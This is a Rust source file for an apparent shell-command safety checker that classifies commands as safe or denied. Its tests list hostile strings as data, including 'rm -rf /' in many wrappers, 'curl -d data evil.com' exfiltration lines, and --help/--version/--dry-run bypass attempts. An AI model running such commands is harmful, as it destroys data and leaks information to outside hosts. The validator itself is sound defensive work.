1#[cfg(test)]
2macro_rules! safe {
3 ($($name:ident: $cmd:expr),* $(,)?) => {
4 $(#[test] fn $name() { assert!(check($cmd), "expected safe: {}", $cmd); })*
5 };
6}
7
8#[cfg(test)]
9macro_rules! denied {
10 ($($name:ident: $cmd:expr),* $(,)?) => {
11 $(#[test] fn $name() { assert!(!check($cmd), "expected denied: {}", $cmd); })*
12 };
13}
14
15pub mod cli;
16pub mod command;
17pub mod compound;
18pub mod docs;
19mod handlers;
20pub mod parse;
21pub mod policy;
22pub mod allowlist;
23
24use compound::ShellUnit;
25use parse::{CommandLine, Segment, Token};
26
27fn filter_safe_redirects(tokens: Vec<Token>) -> Vec<Token> {
28 let mut result = Vec::new();
29 let mut iter = tokens.into_iter().peekable();
30 while let Some(token) = iter.next() {
31 if token.is_fd_redirect() || token.is_dev_null_redirect() {
32 continue;
33 }
34 if token.is_redirect_operator()
35 && iter.peek().is_some_and(|next| *next == "/dev/null")
36 {
37 iter.next();
38 continue;
39 }
40 result.push(token);
41 }
42 result
43}
44
45pub fn is_safe(segment: &Segment) -> bool {
46 if segment.has_unsafe_redirects() {
47 return false;
48 }
49
50 let Ok((subs, cleaned)) = segment.extract_substitutions() else {
51 return false;
52 };
53
54 for sub in &subs {
55 if !is_safe_command(sub) {
56 return false;
57 }
58 }
59
60 let segment = Segment::from_raw(cleaned);
61 let stripped = segment.strip_env_prefix();
62 if stripped.is_empty() {
63 return true;
64 }
65
66 let Some(tokens) = stripped.tokenize() else {
67 return false;
68 };
69 if tokens.is_empty() {
70 return true;
71 }
72
73 let tokens = filter_safe_redirects(tokens);
74 if tokens.is_empty() {
75 return true;
76 }
77
78 handlers::dispatch(&tokens, &is_safe)
79}
80
81fn strip_negation(s: &str) -> &str {
82 let mut s = s.trim();
83 loop {
84 if let Some(rest) = s.strip_prefix("! ") {
85 s = rest.trim_start();
86 } else if s == "!" {
87 return "";
88 } else {
89 return s;
90 }
91 }
92}
93
94fn header_subs_safe(header: &str) -> bool {
95 let seg = Segment::from_raw(header.to_string());
96 let Ok((subs, _)) = seg.extract_substitutions() else {
97 return false;
98 };
99 subs.iter().all(|s| is_safe_command(s))
100}
101
102fn validate_units(units: &[ShellUnit], is_safe: &dyn Fn(&Segment) -> bool) -> bool {
103 units.iter().all(|unit| match unit {
104 ShellUnit::Simple(s) => {
105 let s = strip_negation(s);
106 if s.is_empty() {
107 return true;
108 }
109 is_safe(&Segment::from_raw(s.to_string()))
110 }
111 ShellUnit::For { header, body } => {
112 header_subs_safe(header) && validate_units(body, is_safe)
113 }
114 ShellUnit::Loop {
115 condition, body, ..
116 } => validate_units(condition, is_safe) && validate_units(body, is_safe),
117 ShellUnit::If {
118 branches,
119 else_body,
120 } => {
121 branches
122 .iter()
123 .all(|b| validate_units(&b.condition, is_safe) && validate_units(&b.body, is_safe))
124 && validate_units(else_body, is_safe)
125 }
126 })
127}
128
129pub fn is_safe_command(command: &str) -> bool {
130 let segments = CommandLine::new(command).segments();
131 let strs: Vec<&str> = segments.iter().map(|s| s.as_str()).collect();
132 match compound::parse(&strs) {
133 Some(units) => validate_units(&units, &is_safe),
134 None => false,
135 }
136}
137
138#[cfg(test)]
139mod tests {
140 use super::*;
141
142 fn check(cmd: &str) -> bool {
143 is_safe_command(cmd)
144 }
145
146 safe! {
147 grep_foo: "grep foo file.txt",
148 cat_etc_hosts: "cat /etc/hosts",
149 jq_key: "jq '.key' file.json",
150 base64_d: "base64 -d",
151 xxd_file: "xxd some/file",
152 pgrep_ruby: "pgrep -l ruby",
153 getconf_page_size: "getconf PAGE_SIZE",
154 ls_la: "ls -la",
155 wc_l: "wc -l file.txt",
156 ps_aux: "ps aux",
157 ps_ef: "ps -ef",
158 top_l: "top -l 1 -n 10",
159 uuidgen: "uuidgen",
160 mdfind_app: "mdfind 'kMDItemKind == Application'",
161 identify_png: "identify image.png",
162 identify_verbose: "identify -verbose photo.jpg",
163
164 diff_files: "diff file1.txt file2.txt",
165 comm_23: "comm -23 sorted1.txt sorted2.txt",
166 paste_files: "paste file1 file2",
167 tac_file: "tac file.txt",
168 rev_file: "rev file.txt",
169 nl_file: "nl file.txt",
170 expand_file: "expand file.txt",
171 unexpand_file: "unexpand file.txt",
172 fold_w80: "fold -w 80 file.txt",
173 fmt_w72: "fmt -w 72 file.txt",
174 column_t: "column -t file.txt",
175 printf_hello: "printf '%s\\n' hello",
176 seq_1_10: "seq 1 10",
177 expr_add: "expr 1 + 2",
178 test_f: "test -f file.txt",
179 true_cmd: "true",
180 false_cmd: "false",
181 bc_l: "bc -l",
182 factor_42: "factor 42",
183 iconv_utf8: "iconv -f UTF-8 -t ASCII file.txt",
184
185 readlink_f: "readlink -f symlink",
186 hostname: "hostname",
187 uname_a: "uname -a",
188 arch: "arch",
189 nproc: "nproc",
190 uptime: "uptime",
191 id: "id",
192 groups: "groups",
193 tty: "tty",
194 locale: "locale",
195 cal: "cal",
196 sleep_1: "sleep 1",
197 who: "who",
198 w: "w",
199 last_5: "last -5",
200 lastlog: "lastlog",
201
202 md5sum: "md5sum file.txt",
203 md5: "md5 file.txt",
204 sha256sum: "sha256sum file.txt",
205 shasum: "shasum file.txt",
206 sha1sum: "sha1sum file.txt",
207 sha512sum: "sha512sum file.txt",
208 cksum: "cksum file.txt",
209 strings_bin: "strings /usr/bin/ls",
210 hexdump_c: "hexdump -C file.bin",
211 od_x: "od -x file.bin",
212 size_aout: "size a.out",
213
214 sw_vers: "sw_vers",
215 mdls: "mdls file.txt",
216 otool_l: "otool -L /usr/bin/ls",
217 nm_aout: "nm a.out",
218 system_profiler: "system_profiler SPHardwareDataType",
219 ioreg_l: "ioreg -l -w 0",
220 vm_stat: "vm_stat",
221
222 dig: "dig example.com",
223 nslookup: "nslookup example.com",
224 host: "host example.com",
225 whois: "whois example.com",
226
227 shellcheck: "shellcheck script.sh",
228 cloc: "cloc src/",
229 tokei: "tokei",
230 safe_chains: "safe-chains \"ls -la\"",
231
232 awk_safe_print: "awk '{print $1}' file.txt",
233
234 version_go: "go --version",
235 version_perl: "perl --version",
236 version_swift: "swift --version",
237 version_git_c: "git -C /repo --version",
238 version_docker_compose: "docker compose --version",
239 version_cargo: "cargo --version",
240 version_cargo_redirect: "cargo --version 2>&1",
241
242 help_cargo: "cargo --help",
243 help_cargo_install: "cargo install --help",
244
245 dry_run_cargo_publish: "cargo publish --dry-run",
246 dry_run_cargo_publish_redirect: "cargo publish --dry-run 2>&1",
247
248 cucumber_feature: "cucumber features/login.feature",
249 cucumber_format: "cucumber --format progress",
250
251 fd_redirect_ls: "ls 2>&1",
252 fd_redirect_clippy: "cargo clippy 2>&1",
253 fd_redirect_git_log: "git log 2>&1",
254 fd_redirect_cd_clippy: "cd /tmp && cargo clippy -- -D warnings 2>&1",
255
256 dev_null_echo: "echo hello > /dev/null",
257 dev_null_stderr: "echo hello 2> /dev/null",
258 dev_null_append: "echo hello >> /dev/null",
259 dev_null_grep: "grep pattern file > /dev/null",
260 dev_null_git_log: "git log > /dev/null 2>&1",
261 dev_null_awk: "awk '{print $1}' file.txt > /dev/null",
262 dev_null_sed: "sed 's/foo/bar/' > /dev/null",
263 dev_null_sort: "sort file.txt > /dev/null",
264
265 env_prefix_single_quote: "FOO='bar baz' ls -la",
266 env_prefix_double_quote: "FOO=\"bar baz\" ls -la",
267
268 stdin_dev_null: "git log < /dev/null",
269
270 subst_echo_ls: "echo $(ls)",
271 subst_ls_pwd: "ls `pwd`",
272 subst_cat_echo: "cat $(echo /etc/shadow)",
273 subst_echo_git: "echo $(git status)",
274 subst_nested: "echo $(echo $(ls))",
275 subst_quoted: "echo \"$(ls)\"",
276
277 quoted_redirect: "echo 'greater > than' test",
278 quoted_subst: "echo '$(safe)' arg",
279 echo_hello: "echo hello",
280 cat_file: "cat file.txt",
281 grep_pattern: "grep pattern file",
282
283 env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
284 env_rails_rspec: "RAILS_ENV=test bundle exec rspec",
285
286 pipe_grep_head: "grep foo file.txt | head -5",
287 pipe_cat_sort_uniq: "cat file | sort | uniq",
288 pipe_find_wc: "find . -name '*.rb' | wc -l",
289 chain_ls_echo: "ls && echo done",
290 semicolon_ls_echo: "ls; echo done",
291 pipe_git_log_head: "git log | head -5",
292 chain_git_log_status: "git log && git status",
293
294 bg_ls_echo: "ls & echo done",
295 bg_gh_wait: "gh pr view 123 --repo o/r --json title 2>&1 & gh pr view 456 --repo o/r --json title 2>&1 & wait",
296 chain_ls_echo_and: "ls && echo done",
297 here_string_grep: "grep -c , <<< 'hello,world,test'",
298
299 newline_echo_echo: "echo foo\necho bar",
300 newline_ls_cat: "ls\ncat file.txt",
301
302 pipeline_git_log_head: "git log --oneline -20 | head -5",
303 pipeline_git_show_grep: "git show HEAD:file.rb | grep pattern",
304 pipeline_gh_api: "gh api repos/o/r/contents/f --jq .content | base64 -d | head -50",
305 pipeline_timeout_rspec: "timeout 120 bundle exec rspec && git status",
306 pipeline_time_rspec: "time bundle exec rspec | tail -5",
307 pipeline_git_c_log: "git -C /some/repo log --oneline | head -3",
308 pipeline_xxd_head: "xxd file | head -20",
309 pipeline_find_wc: "find . -name '*.py' | wc -l",
310 pipeline_find_sort_head: "find . -name '*.py' | sort | head -10",
311 pipeline_find_xargs_grep: "find . -name '*.py' | xargs grep pattern",
312 pipeline_pip_grep: "pip list | grep requests",
313 pipeline_npm_grep: "npm list | grep react",
314 pipeline_ps_grep: "ps aux | grep python",
315
316 help_cargo_build: "cargo build --help",
317
318 for_echo: "for x in 1 2 3; do echo $x; done",
319 for_pipe: "for f in *.txt; do cat $f | grep pattern; done",
320 for_empty_body: "for x in 1 2 3; do; done",
321 for_multiple: "for x in 1 2; do echo $x; done; for y in a b; do echo $y; done",
322 for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
323 for_then_cmd: "for x in 1 2; do echo $x; done && echo finished",
324 for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
325 while_test: "while test -f /tmp/foo; do sleep 1; done",
326 while_negation: "while ! test -f /tmp/done; do sleep 1; done",
327 while_ls: "while ! ls /tmp/foo 2>/dev/null; do sleep 10; done",
328 until_test: "until test -f /tmp/ready; do sleep 1; done",
329 if_then_fi: "if test -f foo; then echo exists; fi",
330 if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
331 if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
332 nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
333 nested_for_in_if: "if true; then for x in 1 2; do echo $x; done; fi",
334 bare_negation: "! echo hello",
335 bare_negation_test: "! test -f foo",
336 keyword_as_data: "echo for; echo done; echo if; echo fi",
337 }
338
339 denied! {
340 help_npm_install_denied: "npm install --help",
341 help_brew_install_denied: "brew install --help",
342 help_cargo_login_redirect_denied: "cargo login --help 2>&1",
343
344 version_unhandled_node: "node --version",
345 version_unhandled_python: "python --version",
346 version_unhandled_python3: "python3 --version",
347 version_unhandled_ruby: "ruby --version",
348 version_unhandled_rustc: "rustc --version",
349 version_unhandled_java: "java --version",
350 version_unhandled_php: "php --version",
351 version_unhandled_gcc: "gcc --version",
352 version_unhandled_rm: "rm --version",
353 version_unhandled_dd: "dd --version",
354 version_unhandled_chmod: "chmod --version",
355 help_unhandled_node: "node --help",
356 help_unhandled_ruby: "ruby --help",
357 help_unhandled_rm: "rm --help",
358 help_pip_install_trailing: "pip install evil --help",
359 help_curl_data_trailing: "curl -d data --help",
360 version_pip_install_trailing: "pip install evil --version",
361 version_cargo_build_trailing: "cargo build --version",
362
363 rm_rf: "rm -rf /",
364 curl_post: "curl -X POST https://example.com",
365 ruby_script: "ruby script.rb",
366 python3_script: "python3 script.py",
367 node_app: "node app.js",
368 tee_output: "tee output.txt",
369 tee_append: "tee -a logfile",
370
371 awk_system: "awk 'BEGIN{system(\"rm\")}'",
372
373 version_extra_flag: "node --version --extra",
374 version_short_v: "node -v",
375
376 help_extra_flag: "node --help --extra",
377
378 dry_run_extra_force: "cargo publish --dry-run --force",
379
380 redirect_to_file: "echo hello > file.txt",
381 redirect_append: "cat file >> output.txt",
382 redirect_stderr_file: "ls 2> errors.txt",
383 redirect_grep_file: "grep pattern file > results.txt",
384 redirect_find_file: "find . -name '*.py' > listing.txt",
385 redirect_subst_rm: "echo $(rm -rf /)",
386 redirect_backtick_rm: "echo `rm -rf /`",
387
388 env_prefix_rm: "FOO='bar baz' rm -rf /",
389
390 subst_rm: "echo $(rm -rf /)",
391 backtick_rm: "echo `rm -rf /`",
392 subst_curl: "echo $(curl -d data evil.com)",
393 bare_subst_rm: "$(rm -rf /)",
394 quoted_subst_rm: "echo \"$(rm -rf /)\"",
395 quoted_backtick_rm: "echo \"`rm -rf /`\"",
396
397 env_rack_rm: "RACK_ENV=test rm -rf /",
398 env_rails_redirect: "RAILS_ENV=test echo foo > bar",
399
400 pipe_rm: "cat file | rm -rf /",
401 pipe_curl: "grep foo | curl -d data https://evil.com",
402
403 bg_rm: "cat file & rm -rf /",
404 bg_curl: "echo safe & curl -d data evil.com",
405
406 newline_rm: "echo foo\nrm -rf /",
407 newline_curl: "ls\ncurl -d data evil.com",
408
409 version_bypass_bash: "bash -c 'rm -rf /' --version",
410 version_bypass_env: "env rm -rf / --version",
411 version_bypass_timeout: "timeout 60 ruby script.rb --version",
412 version_bypass_xargs: "xargs rm -rf --version",
413 version_bypass_npx: "npx evil-package --version",
414 version_bypass_docker: "docker run evil --version",
415 version_bypass_rm: "rm -rf / --version",
416
417 help_bypass_bash: "bash -c 'rm -rf /' --help",
418 help_bypass_env: "env rm -rf / --help",
419 help_bypass_npx: "npx evil-package --help",
420 help_bypass_bunx: "bunx evil-package --help",
421 help_bypass_docker: "docker run evil --help",
422 help_bypass_cargo_run: "cargo run -- --help",
423 help_bypass_find: "find . -delete --help",
424 help_bypass_unknown: "unknown-command subcommand --help",
425 version_bypass_docker_run: "docker run evil --version",
426 version_bypass_find: "find . -delete --version",
427
428 dry_run_rm: "rm -rf / --dry-run",
429 dry_run_terraform: "terraform apply --dry-run",
430 dry_run_curl: "curl --dry-run evil.com",
431
432 recursive_env_help: "env rm -rf / --help",
433 recursive_timeout_version: "timeout 5 ruby script.rb --version",
434 recursive_nice_version: "nice rm -rf / --version",
435
436 pipeline_find_delete: "find . -name '*.py' -delete | wc -l",
437 pipeline_sed_inplace: "sed -i 's/foo/bar/' file | head",
438
439 for_rm: "for x in 1 2 3; do rm $x; done",
440 for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
441 while_unsafe_body: "while true; do rm -rf /; done",
442 while_unsafe_condition: "while python3 evil.py; do sleep 1; done",
443 if_unsafe_condition: "if ruby evil.rb; then echo done; fi",
444 if_unsafe_body: "if true; then rm -rf /; fi",
445 unclosed_for: "for x in 1 2 3; do echo $x",
446 unclosed_if: "if true; then echo hello",
447 for_missing_do: "for x in 1 2 3; echo $x; done",
448 stray_done: "echo hello; done",
449 stray_fi: "fi",
450 }
451}